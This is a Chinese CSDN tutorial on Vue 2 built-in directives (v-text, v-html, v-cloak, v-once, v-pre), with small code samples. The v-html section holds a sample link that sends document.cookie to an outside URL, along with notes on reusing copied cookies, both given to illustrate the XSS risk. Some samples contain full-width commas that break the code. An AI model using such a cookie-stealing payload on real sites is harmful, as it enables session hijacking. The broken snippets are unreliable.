Vue2基础 13：内置指令-CSDN博客

本文链接：https://blog.csdn.net/Fxcrisp/article/details/140125457

内置指令

1 指令梳理
2 补充指令

1 指令梳理

前面几节的基础学习已经用到了部分的指令，先梳理一下。

指令	描述
v-bind	单向绑定解析表达式，简写为 “: ”
v-model	双向数据绑定
v-for	遍历数组/对象/字符串
v-on	绑定事件监听，简写为 @
v-if	条件渲染（动态控制DOM是否存在）
v-else	条件渲染（动态控制DOM是否存在）
v-show	条件渲染（动态控制DOM是否展示）

2 补充指令

2.1 v-text

<div id="root">

    <div>你好，{{name}}</div>
    <!--第一种：插值语法，显示：你好，fx-->
    
    <div v-text="name">你好，</div>
    <!--
        第二种： v-text，显示：fx
        会替换整个div里的内容
    -->
    
    <div v-text="str"></div>
    <!--不会解析标签，显示：<h3>你好</h3>-->
    
</div>
<script type="text/javascript">
    new Vue({
        el:'#root',
        data:{
            name:'fx'，
            str:'<h3>你好</h3>'
        }
    })
</script>

向其所在节点中渲染文本内容
与插值语法的区别：v-text会替换节点中的所有内容

2.2 v-html

<div id="root">
    <div>你好，{{name}}</div>
    <div v-text="str"></div>
    <div v-html="str"></div> <!--会解析标签，显示：你好-->
</div>
<script type="text/javascript">
    new Vue({
        el:'#root',
        data:{
            name:'fx'，
            str:'<h3>你好</h3>',
            str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>点击查看更多资源</a>'
            //问号后面是query参数
        }
    })
</script>

存在安全性问题：
cookie
第一次请求、第一次相应

再次请求、再次相应

其中 k1:v1+k2:v2 其实就是cookie 本质是字符串，格式类似于对象 key: value，或者说json的字符串

不能跨浏览器读取cookie
可以将一个有cookie的浏览器将其cookie复制到另一个浏览器，即可有相同的登录信息（用插件cookie_editor可以导出导入，就不用一条一条复制）

获取cookie:

document.cookie  
//可以拿到所有cookie，格式为k1:v1;k2:v2
//若【应用程序】中，cookie的表格勾选了【HttpOnly】，则本语句无法打出

小结：

向其所在节点中渲染包含html结构的内容
与插值语法的区别：
v-html会替换节点中的所有内容
v-html可以识别html结构
存在安全性问题
- 在网站上动态选人任意html是非常危险的，容易导致XSS（冒充用户之手）攻击
- 一定要在可信的内容上使用v-html，不要用在用户提交的内容上

2.3 v-cloak

案例–延迟引入vue造成js阻塞

1. 引入放在 <head>

<head>
    <!-- 引入vue-->
    <script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
    <!-- 延迟5s运行-->
</head>
<body>
    <div id="root">
        <h2>{{name}}</h2>
    </div>
</body>
<script type="text/javascript">
    new Vue({
        el:'#root',
        data:{
            name:'fx'，
        }
    })
</script>

此时，body和script标签被阻塞

2. 引入放在 <body>最后

<body>
    <div id="root">
        <h2>{{name}}</h2>
    </div>
        <!-- 引入vue-->
    <script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
    <!-- 延迟5s运行-->
</body>

<script type="text/javascript">
    new Vue({
        el:'#root',
        data:{
            name:'fx'，
        }
    })
</script>

此时"div"没有阻塞，先到页面上了，即{{name}}，此时为解析，待到引用vue后经过解析，变成vue实例里的数据

3. 利用v-cloak配合css实现：vue引入放在 <body>最后，但是不显示未解析内容

<head>
    <style>
        <!-- []代表选中所有标签中带有这个属性的元素-->
        [v-cloak]{
            display: none;
            <!-- -->
        }
    </style>
    <!-- 延迟5s运行-->
</head>
<body>
    <div id="root">
        <h2 v-cloak>{{name}}</h2>
    </div>
        <!-- 引入vue-->
    <script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
    <!-- 延迟5s运行-->
</body>

<script type="text/javascript">
    new Vue({
        el:'#root',
        data:{
            name:'fx',
        }
    })
</script>

v-cloak会在vue实例接管容器的一瞬间被删掉
这个指令没有值
利用css可以不展示未解析的内容
利用场景：当网速比较慢的时候，不把未解析的内容放在页面上

小结

本质是一个特殊属性（无值）：vue实例创建完并接管容器的之后，会删掉该属性
使用css配合v-cloak可以解决当网速比较慢的时候，不把未解析的内容放在页面上

2.4 v-once

案例–点击按钮+1并展示初始的值

<body>
    <div id="root">
        <h2 v-once>初始的n值是：{{n}}</h2>
        <h2>当前的n值是：{{n}}</h2>
        <button @click="n++">点我n+1</button>
    </div>
</body>

<script type="text/javascript">
    new Vue({
        el:'#root',
        data:{
            n:1,
        }
    })
</script>

小结

v-once 所在节点在初次动态渲染（第一次执行）后，就视为静态内容了
以后数据的改变不会引起v-once 所在结构的更新，可以用于优化性能

2.5 v-pre

<body>
    <div id="root">
        <h2 v-pre>vue其实很简单</h2>
        <h2>当前的n值是：{{n}}</h2>
        <button @click="n++">点我n+1</button>
    </div>
</body>

<script type="text/javascript">
    new Vue({
        el:'#root',
        data:{
            n:1,
        }
    })
</script>